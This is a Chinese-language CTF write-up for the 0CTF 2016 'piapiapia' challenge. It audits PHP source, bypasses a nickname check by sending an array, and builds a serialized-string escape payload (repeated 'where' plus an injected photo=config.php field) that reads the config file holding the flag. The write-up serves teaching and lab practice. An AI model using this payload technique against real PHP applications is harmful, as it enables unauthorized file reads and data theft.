>lhzctf

[0CTF 2016]piapiapia

1.打开靶机

回显登录界面:

alt text 直接万能账号绕过发现不行。

2.收集信息

dirsearch扫一下:

alt text

扫到www.zip,下载:

alt text

有六个php文件。

3.审计代码

config.php:

<?php
	$config['hostname'] = '127.0.0.1';
	$config['username'] = 'root';
	$config['password'] = '';
	$config['database'] = '';
	$flag = '';
?>

存在全局变量flag,但不可读。

class.php:

$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);

select,insert,update,delete,where被正则匹配后会自动替换为hacker,而where换成hacker会有字符数变化,这就给了我们字符串逃逸的机会。

update.php:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

正常传字符串时:preg_match 返回 0,strlen 正常;一旦长度 > 10 或含特殊字符就 die。

但传 数组 nickname[]=xxx 时:

  • preg_match(..., array) 在 PHP 7 下返回 false(只警告,不中断);
  • strlen(array) 返回 null;
  • false || (null > 10) → false → 不执行 die()。

校验被完全跳过,nickname 可以塞任意内容。

$user->update_profile($username, serialize($profile));

将profile存入数据库。

profile.php:

<?php
	require_once('class.php');
	if($_SESSION['username'] == null) {
		die('Login First');	
	} // 检查 Session 中的 username 是否为空,如果未登录(Session 丢失或未设置),直接终止脚本并提示 'Login First'
	$username = $_SESSION['username']; // 如果已登录,将 Session 中的用户名赋值给局部变量 $username
	$profile=$user->show_profile($username); // 调用 user 类的 show_profile 方法,从数据库中查询该用户的 profile 字段,参数为当前登录的用户名
	if($profile  == null) {
		header('Location: update.php');
	}  // 如果查询结果为空(例如数据库里没有该记录,或者 profile 字段为空),则重定向用户到 update.php 页面,强制其更新资料
	else {
		$profile = unserialize($profile); // 【关键漏洞点】如果查询到了数据,直接对 $profile 进行反序列化操作,这里的 $profile 是从数据库取出的字符串,如果被篡改,可导致任意代码执行或文件读取
		$phone = $profile['phone'];
		$email = $profile['email'];
		$nickname = $profile['nickname']; // 从反序列化后的数组中提取 phone、email、nickname 字段
		$photo = base64_encode(file_get_contents($profile['photo'])); // 【Flag 获取关键点】 file_get_contents 读取文件内容,$profile['photo'] 是数据库中存储的路径(正常情况下是 upload/xxx.jpg),base64_encode 将读取到的图片二进制数据编码为 Base64 字符串,这里存在文件包含漏洞,如果 $profile['photo'] 被修改为 'config.php',就会读取配置文件
?>
<!DOCTYPE html>
<html>
<head>
   <title>Profile</title>
   <link href="static/bootstrap.min.css" rel="stylesheet">
   <script src="static/jquery.min.js"></script>
   <script src="static/bootstrap.min.js"></script>
</head>
<body>
	<div class="container" style="margin-top:100px">  
		<img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " style="width:180px;margin:0px auto;">
		<h3>Hi <?php echo $nickname;?></h3>
		<label>Phone: <?php echo $phone;?></label>
		<label>Email: <?php echo $email;?></label>
	</div>
</body>
</html>
<?php
	}
?>

所以,如果我们能控制$profile[‘photo’]的值,那么就可以读取config.php文件,从而获取flag。

4.解题

先注册:

alt text

直接登录后跳转到更新信息界面:

alt text

接下来开始操作:

先生成一个正常的数组: alt text

使用脚本运行出payload:

alt text

这是脚本运行方式:

D:\CTF\工具>py 逃逸.py wizard

============================================================
        PHP 反序列化「字符串逃逸」向导
============================================================
原理一句话:
  过滤发生在 serialize() 之后,替换/删除关键词会改变长度,
  但 s:N 不会更新,解析器读到的边界就偏了。

你需要准备:
  1) 序列化模板(可控字段先填空串,或直接粘贴 serialize 结果)
  2) 过滤规则(变多:a=>b;变少:a)
  3) 想注入的字段(key=value)

我会自动算深度、生成注入串、算填充次数,并模拟校验。
============================================================

第 1 步:选择模式
  1) 变多(关键词被替换成更长的串,如 where -> hacker)
  2) 变少(关键词被删除,如 preg_replace('/php/','',$s))
请输入 1 或 2:1

第 2 步:给出序列化模板
  注意:要的是 serialize() 的输出,不是 PHP 源码文件!
  形如:a:2:{s:4:"name";s:0:"";s:1:"x";s:1:"y";}
  可以直接粘贴,也可以输入文件路径(如 tpl.txt)
模板/文件路径:a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:0:"";}s:5:"photo";s:39:"upload/12345678901234567890123456789012";}

第 3 步:可控字段名
  就是你能控制、并且会被过滤的那个字段,例如 nickname
字段名:nickname

第 4 步:过滤规则
  格式:关键词=>替换串,例如 where=>hacker
规则:where=>hacker

第 5 步:想注入的字段
  格式:key=value,例如 photo=config.php
注入:photo=config.php

第 6 步:是否显示过滤后的完整序列化串?(y/N)
显示?y

[+] 开始计算……

================================================================
模式          : grow(字符串变多)
可控字段      : nickname
嵌套深度      : 2
过滤规则      : where(5) -> hacker(6),每处 +1
注入字段      : photo = config.php
注入串        : ";}s:5:"photo";s:10:"config.php";}
注入串字节数  : 34
对齐填充      : 0 个 'A'
重复次数      : 34 次 'where'
填充字节      : 170
声明长度      : 204
过滤后长度    : 238
----------------------------------------------------------------
最终字段值(复制到请求里):
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}
----------------------------------------------------------------
模拟校验      : [OK] 注入成功
----------------------------------------------------------------
过滤后的完整序列化串:
a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/12345678901234567890123456789012";}
================================================================

接下来先BP抓update.php更新包,photo提前备好,放到repeater更改信息:

alt text

成功!访问profile.php,看源码:

alt text

把这段Base64解码:

alt text

得到flag:

CTF2{a7abe818-319d-41b3-b670-8dd2eb57cc2d}